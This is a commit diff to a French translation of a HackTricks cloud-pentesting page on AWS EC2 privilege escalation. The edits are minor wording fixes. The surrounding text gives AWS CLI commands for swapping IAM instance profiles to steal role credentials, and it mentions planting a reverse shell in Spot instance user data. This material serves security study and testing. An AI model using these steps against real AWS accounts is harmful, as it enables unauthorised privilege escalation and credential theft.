mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-06 17:53:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
|
||||
```
|
||||
Si le **profil d'instance a un rôle** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution. Il pourrait **trouver** un **profil d'instance sans rôle** ou **en créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **rôle** à ce **profil d'instance** (comme discuté précédemment), et **associer le profil d'instance** compromis à une instance compromise :
|
||||
|
||||
- Si l'instance **n'a pas de profil d'instance** (`ec2:AssociateIamInstanceProfile`) \*
|
||||
- Si l'instance **n'a pas de profil d'instance** (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
@@ -92,23 +92,21 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
|
||||
Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui y est associé.
|
||||
|
||||
- S'il **a un profil d'instance**, vous pouvez **supprimer** le profil d'instance (`ec2:DisassociateIamInstanceProfile`) et **l'associer** \*
|
||||
- S'il **a un profil d'instance**, vous pouvez **supprimer** le profil d'instance (`ec2:DisassociateIamInstanceProfile`) et **l'associer**.
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- ou **remplacer** le **profil d'instance** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`). \*
|
||||
````
|
||||
- ou **remplacer** le **profil d'instance** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
````
|
||||
**Impact potentiel :** Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique).
|
||||
**Impact potentiel :** Privesc direct vers un autre rôle EC2 (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Un attaquant avec les permissions **`ec2:RequestSpotInstances`et`iam:PassRole`** peut **demander** une **instance Spot** avec un **rôle EC2 attaché** et un **rev shell** dans les **données utilisateur**.\
|
||||
Un attaquant avec les permissions **`ec2:RequestSpotInstances`et`iam:PassRole`** peut **demander** une **Spot Instance** avec un **rôle EC2 attaché** et un **rev shell** dans les **données utilisateur**.\
|
||||
Une fois l'instance lancée, il peut **voler le rôle IAM**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
@@ -217,7 +215,7 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Un attaquant ayant la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess` pour l'activer**.
|
||||
Un attaquant avec la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la connexion série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess` pour l'activer**.
|
||||
|
||||
Pour se connecter au port série, vous devez également **connaître le nom d'utilisateur et le mot de passe d'un utilisateur** à l'intérieur de la machine.
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user